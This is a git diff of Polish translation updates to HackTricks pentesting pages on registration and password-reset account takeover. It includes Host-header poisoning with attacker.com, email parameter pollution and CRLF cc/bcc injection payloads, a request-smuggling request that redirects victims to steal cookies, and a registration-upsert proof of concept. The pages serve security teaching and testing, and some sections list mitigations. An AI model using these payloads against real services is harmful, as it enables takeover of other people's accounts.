mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/reset-password.md', 'src/pentesting-
This commit is contained in:
parent
00367f873b
commit
656dca9d39
@ -1,77 +1,79 @@
|
|||||||
# Luki w Rejestracji i Przejęciu Konta
|
# Rejestracja & luki umożliwiające przejęcie
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Przejęcie Rejestracji
|
## Przejęcie przez rejestrację
|
||||||
|
|
||||||
### Duplikat Rejestracji
|
### Powtórna rejestracja
|
||||||
|
|
||||||
- Spróbuj wygenerować przy użyciu istniejącej nazwy użytkownika
|
- Spróbuj utworzyć konto używając istniejącej nazwy użytkownika
|
||||||
- Sprawdź różne warianty e-maila:
|
- Sprawdź różne warianty adresu email:
|
||||||
- wielkie litery
|
- wielkie litery
|
||||||
- \+1@
|
- \+1@
|
||||||
- dodaj kropkę w e-mailu
|
- dodaj kropkę w adresie email
|
||||||
- znaki specjalne w nazwie e-maila (%00, %09, %20)
|
- znaki specjalne w części nazwy email (%00, %09, %20)
|
||||||
- Dodaj czarne znaki po e-mailu: `test@test.com a`
|
- Umieść białe znaki po adresie email: `test@test.com a`
|
||||||
- victim@gmail.com@attacker.com
|
- victim@gmail.com@attacker.com
|
||||||
- victim@attacker.com@gmail.com
|
- victim@attacker.com@gmail.com
|
||||||
|
|
||||||
### Enumeracja Nazw Użytkowników
|
### Username Enumeration
|
||||||
|
|
||||||
Sprawdź, czy możesz ustalić, kiedy nazwa użytkownika została już zarejestrowana w aplikacji.
|
Sprawdź, czy możesz ustalić, kiedy nazwa użytkownika została już zarejestrowana w aplikacji.
|
||||||
|
|
||||||
### Polityka Hasła
|
### Polityka haseł
|
||||||
|
|
||||||
Tworząc użytkownika, sprawdź politykę haseł (sprawdź, czy możesz używać słabych haseł).\
|
Podczas tworzenia użytkownika sprawdź politykę haseł (czy można użyć słabych haseł).\
|
||||||
W takim przypadku możesz spróbować przeprowadzić atak brute force na dane logowania.
|
W takim przypadku możesz spróbować bruteforce'ować poświadczenia.
|
||||||
|
|
||||||
### SQL Injection
|
### SQL Injection
|
||||||
|
|
||||||
[**Sprawdź tę stronę** ](sql-injection/index.html#insert-statement), aby dowiedzieć się, jak próbować przejąć konta lub wydobywać informacje za pomocą **SQL Injections** w formularzach rejestracyjnych.
|
[**Check this page** ](sql-injection/index.html#insert-statement)to learn how to attempt account takeovers or extract information via **SQL Injections** in registry forms.
|
||||||
|
|
||||||
|
### Oauth Takeovers
|
||||||
|
|
||||||
### Przejęcia Oauth
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
oauth-to-account-takeover.md
|
oauth-to-account-takeover.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Luki w SAML
|
### SAML Vulnerabilities
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
saml-attacks/
|
saml-attacks/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Zmień E-mail
|
### Zmiana adresu email
|
||||||
|
|
||||||
Po rejestracji spróbuj zmienić e-mail i sprawdź, czy ta zmiana jest poprawnie weryfikowana, czy można ją zmienić na dowolne e-maile.
|
Po rejestracji spróbuj zmienić adres email i sprawdź, czy zmiana jest prawidłowo walidowana lub czy można ustawić dowolny adres.
|
||||||
|
|
||||||
### Więcej Sprawdzianów
|
### Dodatkowe sprawdzenia
|
||||||
|
|
||||||
- Sprawdź, czy możesz używać **tymczasowych e-maili**
|
- Sprawdź, czy można używać **disposable emails**
|
||||||
- **Długie** **hasło** (>200) prowadzi do **DoS**
|
- **Długie** **hasło** (>200) prowadzi do **DoS**
|
||||||
- **Sprawdź limity szybkości przy tworzeniu konta**
|
- Sprawdź ograniczenia częstotliwości (rate limits) przy tworzeniu kont
|
||||||
- Użyj username@**burp_collab**.net i przeanalizuj **callback**
|
- Użyj username@**burp_collab**.net i analizuj **callback**
|
||||||
|
|
||||||
## **Przejęcie Resetu Hasła**
|
## **Przejęcie przez reset hasła**
|
||||||
|
|
||||||
### Wyciekanie Tokena Resetu Hasła przez Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||||
|
|
||||||
1. Poproś o reset hasła na swój adres e-mail
|
1. Zażądaj resetu hasła na swój adres email
|
||||||
2. Kliknij w link do resetu hasła
|
2. Kliknij w link resetu hasła
|
||||||
3. Nie zmieniaj hasła
|
3. Nie zmieniaj hasła
|
||||||
4. Kliknij na dowolne strony trzecie (np. Facebook, Twitter)
|
4. Kliknij dowolną zewnętrzną stronę (np.: Facebook, twitter)
|
||||||
5. Przechwyć żądanie w proxy Burp Suite
|
5. Przechwyć żądanie w Burp Suite proxy
|
||||||
6. Sprawdź, czy nagłówek referer wycieka token resetu hasła.
|
6. Sprawdź, czy referer header is leaking password reset token.
|
||||||
|
|
||||||
### Zatrucie Resetu Hasła <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||||||
|
|
||||||
1. Przechwyć żądanie resetu hasła w Burp Suite
|
1. Przechwyć żądanie resetu hasła w Burp Suite
|
||||||
2. Dodaj lub edytuj następujące nagłówki w Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
2. Dodaj lub edytuj następujące nagłówki w Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||||
3. Prześlij żądanie z zmodyfikowanym nagłówkiem\
|
3. Prześlij żądanie z zmodyfikowanym nagłówkiem\
|
||||||
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
||||||
4. Szukaj URL resetu hasła na podstawie _nagłówka hosta_ jak: `https://attacker.com/reset-password.php?token=TOKEN`
|
4. Szukaj URL resetu hasła opartego na _host header_ jak : `https://attacker.com/reset-password.php?token=TOKEN`
|
||||||
|
|
||||||
### Reset Hasła przez Parametr E-mail <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||||
```bash
|
```bash
|
||||||
# parameter pollution
|
# parameter pollution
|
||||||
email=victim@mail.com&email=hacker@mail.com
|
email=victim@mail.com&email=hacker@mail.com
|
||||||
@ -88,58 +90,58 @@ email=victim@mail.com,hacker@mail.com
|
|||||||
email=victim@mail.com%20hacker@mail.com
|
email=victim@mail.com%20hacker@mail.com
|
||||||
email=victim@mail.com|hacker@mail.com
|
email=victim@mail.com|hacker@mail.com
|
||||||
```
|
```
|
||||||
### IDOR na parametrach API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
### IDOR w parametrach API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
||||||
|
|
||||||
1. Atakujący musi zalogować się na swoje konto i przejść do funkcji **Zmień hasło**.
|
1. Atakujący musi zalogować się na swoje konto i przejść do funkcji **Change password**.
|
||||||
2. Uruchom Burp Suite i przechwyć żądanie.
|
2. Uruchom Burp Suite i przechwyć żądanie
|
||||||
3. Wyślij je do zakładki repeater i edytuj parametry: User ID/email\
|
3. Wyślij je do zakładki repeater i edytuj parametry : User ID/email\
|
||||||
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
||||||
|
|
||||||
### Słaby token resetowania hasła <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
### Słaby token do resetu hasła <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||||
|
|
||||||
Token resetowania hasła powinien być generowany losowo i unikalnie za każdym razem.\
|
Token do resetu hasła powinien być generowany losowo i być unikatowy za każdym razem.\
|
||||||
Spróbuj ustalić, czy token wygasa, czy zawsze jest taki sam; w niektórych przypadkach algorytm generacji jest słaby i można go odgadnąć. Poniższe zmienne mogą być używane przez algorytm.
|
Spróbuj określić, czy token wygasa, czy jest zawsze ten sam — w niektórych przypadkach algorytm generowania jest słaby i można go odgadnąć. Następujące zmienne mogą być wykorzystywane przez algorytm.
|
||||||
|
|
||||||
- Timestamp
|
- Timestamp
|
||||||
- UserID
|
- UserID
|
||||||
- Email użytkownika
|
- Email of User
|
||||||
- Imię i nazwisko
|
- Firstname and Lastname
|
||||||
- Data urodzenia
|
- Date of Birth
|
||||||
- Kryptografia
|
- Cryptography
|
||||||
- Tylko liczby
|
- Number only
|
||||||
- Mała sekwencja tokenów (znaki między \[A-Z,a-z,0-9])
|
- Small token sequence ( characters between \[A-Z,a-z,0-9])
|
||||||
- Ponowne użycie tokenu
|
- Token reuse
|
||||||
- Data wygaśnięcia tokenu
|
- Token expiration date
|
||||||
|
|
||||||
### Wyciekanie tokenu resetowania hasła <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
||||||
|
|
||||||
1. Wywołaj żądanie resetowania hasła za pomocą API/UI dla konkretnego adresu e-mail, np.: test@mail.com
|
1. Wywołaj żądanie resetu hasła za pomocą API/UI dla konkretnego emaila, np.: test@mail.com
|
||||||
2. Sprawdź odpowiedź serwera i poszukaj `resetToken`
|
2. Zbadaj odpowiedź serwera i sprawdź, czy zawiera `resetToken`
|
||||||
3. Następnie użyj tokenu w URL, jak `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
3. Następnie użyj tokena w URL-u takim jak `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||||
|
|
||||||
### Resetowanie hasła przez kolizję nazw użytkowników <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||||
|
|
||||||
1. Zarejestruj się w systemie z nazwą użytkownika identyczną do nazwy użytkownika ofiary, ale z wstawionymi spacjami przed i/lub po nazwie użytkownika. np.: `"admin "`
|
1. Zarejestruj konto w systemie z nazwą użytkownika identyczną jak nazwa ofiary, ale z dodatkowymi spacjami przed i/lub po nazwie. np.: `"admin "`
|
||||||
2. Poproś o resetowanie hasła za pomocą swojej złośliwej nazwy użytkownika.
|
2. Zażądaj resetu hasła używając swojej złośliwej nazwy użytkownika.
|
||||||
3. Użyj tokenu wysłanego na swój adres e-mail i zresetuj hasło ofiary.
|
3. Użyj tokena wysłanego na Twój email i zresetuj hasło ofiary.
|
||||||
4. Zaloguj się na konto ofiary za pomocą nowego hasła.
|
4. Zaloguj się na konto ofiary za pomocą nowego hasła.
|
||||||
|
|
||||||
Platforma CTFd była podatna na ten atak.\
|
Platforma CTFd była podatna na ten atak.\
|
||||||
Zobacz: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||||
|
|
||||||
### Przejęcie konta przez Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
||||||
|
|
||||||
1. Znajdź XSS w aplikacji lub subdomenie, jeśli ciasteczka są ograniczone do domeny nadrzędnej: `*.domain.com`
|
1. Znajdź XSS w aplikacji lub subdomenie, jeśli cookies mają zakres do domeny nadrzędnej: `*.domain.com`
|
||||||
2. Wycieknij aktualne **ciasteczko sesji**
|
2. Leak bieżące **sessions cookie**
|
||||||
3. Uwierzytelnij się jako użytkownik, używając ciasteczka
|
3. Zautoryzuj się jako użytkownik, używając cookie
|
||||||
|
|
||||||
### Przejęcie konta przez HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
1\. Użyj **smuggler** do wykrycia typu HTTP Request Smuggling (CL, TE, CL.TE)\
|
1\. Użyj **smuggler** aby wykryć typ HTTP Request Smuggling (CL, TE, CL.TE)\
|
||||||
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
||||||
2\. Stwórz żądanie, które nadpisze `POST / HTTP/1.1` następującymi danymi:\
|
2\. Sporządź żądanie, które nadpisze `POST / HTTP/1.1` następującymi danymi:\
|
||||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` z celem otwarcia przekierowania ofiar do burpcollab i kradzieży ich ciasteczek\
|
`GET http://something.burpcollaborator.net HTTP/1.1 X:` z celem otwarcia redirectu ofiar do burpcollab i kradzieży ich cookies\
|
||||||
3\. Ostateczne żądanie może wyglądać następująco
|
3\. Końcowe żądanie może wyglądać następująco
|
||||||
```
|
```
|
||||||
GET / HTTP/1.1
|
GET / HTTP/1.1
|
||||||
Transfer-Encoding: chunked
|
Transfer-Encoding: chunked
|
||||||
@ -151,29 +153,49 @@ Content-Length: 83
|
|||||||
GET http://something.burpcollaborator.net HTTP/1.1
|
GET http://something.burpcollaborator.net HTTP/1.1
|
||||||
X: X
|
X: X
|
||||||
```
|
```
|
||||||
Hackerone raporty wykorzystujące ten błąd\
|
Hackerone reports exploiting this bug\
|
||||||
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
||||||
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
||||||
|
|
||||||
### Przejęcie konta za pomocą CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
### Przejęcie konta przez CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
||||||
|
|
||||||
1. Stwórz ładunek dla CSRF, np: “formularz HTML z automatycznym przesyłaniem do zmiany hasła”
|
1. Stwórz payload dla CSRF, np.: “HTML form with auto submit for a password change”
|
||||||
2. Wyślij ładunek
|
2. Wyślij payload
|
||||||
|
|
||||||
### Przejęcie konta za pomocą JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
### Przejęcie konta przez JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||||
|
|
||||||
JSON Web Token może być używany do uwierzytelniania użytkownika.
|
JSON Web Token might be used to authenticate an user.
|
||||||
|
|
||||||
- Edytuj JWT z innym identyfikatorem użytkownika / adresem e-mail
|
|
||||||
- Sprawdź słabą sygnaturę JWT
|
|
||||||
|
|
||||||
|
- Edytuj JWT, podstawiając inny User ID / Email
|
||||||
|
- Sprawdź słabość sygnatury JWT
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
hacking-jwt-json-web-tokens.md
|
hacking-jwt-json-web-tokens.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Odniesienia
|
## Rejestracja jako reset (Upsert on Existing Email)
|
||||||
|
|
||||||
|
Niektóre mechanizmy obsługi rejestracji wykonują upsert, gdy podany email już istnieje. Jeśli endpoint akceptuje minimalne body z email i password i nie wymusza weryfikacji własności, wysłanie emaila ofiary nadpisze jej hasło przed uwierzytelnieniem.
|
||||||
|
|
||||||
|
- Discovery: pozyskaj nazwy endpointów z bundled JS (lub ruchu aplikacji mobilnej), potem fuzzuj bazowe ścieżki takie jak /parents/application/v4/admin/FUZZ używając ffuf/dirsearch.
|
||||||
|
- Wskazówki: GET zwracający komunikaty typu "Only POST request is allowed." często wskazuje poprawną metodę i że oczekiwane jest JSON body.
|
||||||
|
- Minimalne body zaobserwowane in the wild:
|
||||||
|
```json
|
||||||
|
{"email":"victim@example.com","password":"New@12345"}
|
||||||
|
```
|
||||||
|
Przykład PoC:
|
||||||
|
```http
|
||||||
|
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
|
||||||
|
Host: www.target.tld
|
||||||
|
Content-Type: application/json
|
||||||
|
|
||||||
|
{"email":"victim@example.com","password":"New@12345"}
|
||||||
|
```
|
||||||
|
Wpływ: Full Account Takeover (ATO) bez jakiegokolwiek reset token, OTP lub weryfikacji e-mail.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
|
||||||
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
|
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
@ -1,12 +1,12 @@
|
|||||||
# Reset/Forgotten Password Bypass
|
# Ominięcie resetu / zapomnianego hasła
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## **Password Reset Token Leak Via Referrer**
|
## **Password Reset Token Leak Via Referrer**
|
||||||
|
|
||||||
- Nagłówek HTTP referer może leak tokena resetu hasła, jeśli jest on uwzględniony w URL. Może się to zdarzyć, gdy użytkownik kliknie link do strony zewnętrznej po zażądaniu resetu hasła.
|
- The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
|
||||||
- **Impact**: Potencjalne przejęcie konta przez ataki Cross-Site Request Forgery (CSRF).
|
- **Wpływ**: Potencjalne przejęcie konta poprzez Cross-Site Request Forgery (CSRF) attacks.
|
||||||
- **Exploitation**: Aby sprawdzić, czy password reset token leakuje w referer header, zażądaj resetu hasła na swój adres e-mail i kliknij otrzymany reset link. **Nie zmieniaj hasła od razu.** Zamiast tego przejdź na stronę zewnętrzną (np. Facebook lub Twitter) jednocześnie przechwytując żądania przy użyciu Burp Suite. Przejrzyj żądania, aby sprawdzić, czy referer header zawiera token resetu hasła, ponieważ może to ujawnić wrażliwe informacje stronom trzecim.
|
- **Wykorzystanie**: Aby sprawdzić, czy password reset token jest leak w referer header, **zażądaj resetu hasła** na swój adres e-mail i **kliknij dostarczony reset link**. **Nie zmieniaj natychmiast hasła**. Zamiast tego **przejdź na stronę osoby trzeciej** (np. Facebook lub Twitter), jednocześnie **przechwytując żądania za pomocą Burp Suite**. Przeanalizuj żądania, żeby sprawdzić, czy **referer header zawiera password reset token**, ponieważ może to ujawnić wrażliwe informacje podmiotom trzecim.
|
||||||
- **References**:
|
- **References**:
|
||||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||||
@ -14,9 +14,9 @@
|
|||||||
|
|
||||||
## **Password Reset Poisoning**
|
## **Password Reset Poisoning**
|
||||||
|
|
||||||
- Atakujący mogą manipulować Host header podczas żądań resetu hasła, aby skierować reset link na złośliwą stronę.
|
- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
|
||||||
- **Impact**: Prowadzi do potencjalnego przejęcia konta poprzez leak reset tokenów do atakującego.
|
- **Wpływ**: Prowadzi do potencjalnego przejęcia konta przez leaking reset tokens do atakujących.
|
||||||
- **Mitigation Steps**:
|
- **Kroki łagodzące**:
|
||||||
- Validate the Host header against a whitelist of allowed domains.
|
- Validate the Host header against a whitelist of allowed domains.
|
||||||
- Use secure, server-side methods to generate absolute URLs.
|
- Use secure, server-side methods to generate absolute URLs.
|
||||||
- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
|
- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
|
||||||
@ -25,33 +25,33 @@
|
|||||||
|
|
||||||
## **Password Reset By Manipulating Email Parameter**
|
## **Password Reset By Manipulating Email Parameter**
|
||||||
|
|
||||||
Atakujący mogą manipulować żądaniem resetu hasła, dodając dodatkowe parametry email, aby przekierować reset link.
|
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
|
||||||
|
|
||||||
- Dodaj adres e-mail atakującego jako drugi parametr używając &
|
- Dodaj e-mail atakującego jako drugi parametr używając &
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email=victim@email.com&email=attacker@email.com
|
email=victim@email.com&email=attacker@email.com
|
||||||
```
|
```
|
||||||
- Dodaj attacker email jako drugi parametr, używając %20
|
- Dodaj attacker email jako drugi parametr używając %20
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email=victim@email.com%20email=attacker@email.com
|
email=victim@email.com%20email=attacker@email.com
|
||||||
```
|
```
|
||||||
Dodaj attacker email jako drugi parametr używając |
|
- Dodaj adres e-mail atakującego jako drugi parametr używając |
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email=victim@email.com|email=attacker@email.com
|
email=victim@email.com|email=attacker@email.com
|
||||||
```
|
```
|
||||||
- Dodaj adres e-mail atakującego jako drugi parametr używając cc
|
Dodaj adres e-mail atakującego jako drugi parametr, używając cc
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||||
```
|
```
|
||||||
- Dodaj attacker email jako drugi parametr używając bcc
|
- Dodaj attacker email jako drugi parametr, używając bcc
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
@ -63,7 +63,7 @@ POST /resetPassword
|
|||||||
[...]
|
[...]
|
||||||
email="victim@mail.tld",email="attacker@mail.tld"
|
email="victim@mail.tld",email="attacker@mail.tld"
|
||||||
```
|
```
|
||||||
- Dodaj adres e-mail atakującego jako drugi parametr w tablicy json
|
- Dodaj attacker email jako drugi parametr w json array
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
@ -71,108 +71,108 @@ POST /resetPassword
|
|||||||
```
|
```
|
||||||
- **Kroki łagodzące**:
|
- **Kroki łagodzące**:
|
||||||
- Poprawnie parsuj i waliduj parametry email po stronie serwera.
|
- Poprawnie parsuj i waliduj parametry email po stronie serwera.
|
||||||
- Użyj prepared statements lub parameterized queries, aby zapobiec atakom typu injection.
|
- Użyj prepared statements lub parameterized queries, aby zapobiec injection attacks.
|
||||||
- **Referencje**:
|
- **Źródła**:
|
||||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||||
|
|
||||||
## **Zmiana Email i Password dowolnego użytkownika przez parametry API**
|
## **Zmiana email i password dowolnego użytkownika poprzez parametry API**
|
||||||
|
|
||||||
- Atakujący mogą modyfikować parametry email i password w żądaniach API, aby zmienić dane logowania konta.
|
- Atakujący mogą modyfikować parametry email i password w żądaniach API, aby zmienić dane uwierzytelniające konta.
|
||||||
```php
|
```php
|
||||||
POST /api/changepass
|
POST /api/changepass
|
||||||
[...]
|
[...]
|
||||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||||
```
|
```
|
||||||
- **Środki zaradcze**:
|
- **Kroki łagodzące**:
|
||||||
- Zapewnij rygorystyczną walidację parametrów i kontrole uwierzytelniania.
|
- Zapewnij rygorystyczną walidację parametrów i kontrole uwierzytelniania.
|
||||||
- Wdróż solidne logowanie i monitorowanie, aby wykrywać i reagować na podejrzane działania.
|
- Wdróż solidne logowanie i monitoring, aby wykrywać i reagować na podejrzane działania.
|
||||||
- **Źródło**:
|
- **Źródło**:
|
||||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||||
|
|
||||||
## **Brak Rate Limiting: Email Bombing**
|
## **Brak rate limiting: Email Bombing**
|
||||||
|
|
||||||
- Brak rate limiting na żądania resetu hasła może prowadzić do email bombing, przytłaczając użytkownika wiadomościami resetującymi hasło.
|
- Brak ograniczeń (rate limiting) dla żądań resetu hasła może prowadzić do Email Bombing, przytłaczając użytkownika wiadomościami resetującymi.
|
||||||
- **Środki zaradcze**:
|
- **Kroki łagodzące**:
|
||||||
- Wprowadź rate limiting oparty na adresie IP lub koncie użytkownika.
|
- Wdróż rate limiting bazujący na adresie IP lub koncie użytkownika.
|
||||||
- Użyj CAPTCHA, aby zapobiec automatycznemu nadużyciu.
|
- Użyj wyzwań CAPTCHA, aby zapobiec automatycznemu nadużyciu.
|
||||||
- **Źródła**:
|
- **Źródła**:
|
||||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||||
|
|
||||||
## **Dowiedz się, jak generowany jest token resetu hasła**
|
## **Dowiedz się, jak generowany jest token resetu hasła**
|
||||||
|
|
||||||
- Zrozumienie wzorca lub metody generowania tokena może prowadzić do jego przewidywania lub brute-force'owania. Niektóre opcje:
|
- Zrozumienie wzorca lub metody generowania tokena może pozwolić na jego przewidzenie lub brute-force. Niektóre opcje:
|
||||||
- Oparte na znaczniku czasu
|
- Based Timestamp
|
||||||
- Oparte na UserID
|
- Based on the UserID
|
||||||
- Oparte na adresie e-mail użytkownika
|
- Based on email of User
|
||||||
- Oparte na imieniu i nazwisku
|
- Based on Firstname and Lastname
|
||||||
- Oparte na dacie urodzenia
|
- Based on Date of Birth
|
||||||
- Oparte na kryptografii
|
- Based on Cryptography
|
||||||
- **Środki zaradcze**:
|
- **Kroki łagodzące**:
|
||||||
- Użyj silnych, kryptograficznych metod generowania tokenów.
|
- Używaj silnych, kryptograficznych metod generowania tokenów.
|
||||||
- Zadbaj o wystarczającą losowość i długość, aby zapobiec przewidywalności.
|
- Zadbaj o wystarczającą losowość i długość, aby zapobiec przewidywalności.
|
||||||
- **Narzędzia**: użyj Burp Sequencer do analizy losowości tokenów.
|
- **Narzędzia**: Użyj Burp Sequencer do analizy losowości tokenów.
|
||||||
|
|
||||||
## **Guessable UUID**
|
## **Przewidywalne UUID**
|
||||||
|
|
||||||
- Jeśli UUIDy (version 1) są możliwe do odgadnięcia lub przewidywalne, atakujący mogą brute-force'ować je, aby wygenerować prawidłowe tokeny resetujące. Sprawdź:
|
- Jeśli UUIDy (version 1) są przewidywalne, atakujący mogą je brute-force'ować, aby wygenerować prawidłowe tokeny resetu. Sprawdź:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
uuid-insecurities.md
|
uuid-insecurities.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- **Środki zaradcze**:
|
- **Kroki łagodzące**:
|
||||||
- Użyj GUID version 4 dla losowości lub zaimplementuj dodatkowe mechanizmy bezpieczeństwa dla innych wersji.
|
- Użyj GUID version 4 dla losowości lub wdroż dodatkowe środki bezpieczeństwa dla innych wersji.
|
||||||
- **Narzędzia**: Use [guidtool](https://github.com/intruder-io/guidtool) for analyzing and generating GUIDs.
|
- **Narzędzia**: Use [guidtool](https://github.com/intruder-io/guidtool) for analyzing and generating GUIDs.
|
||||||
|
|
||||||
## **Response Manipulation: Replace Bad Response With Good One**
|
## **Manipulacja odpowiedzią: Zamiana złej odpowiedzi na dobrą**
|
||||||
|
|
||||||
- Manipulowanie odpowiedziami HTTP w celu ominięcia komunikatów o błędach lub ograniczeń.
|
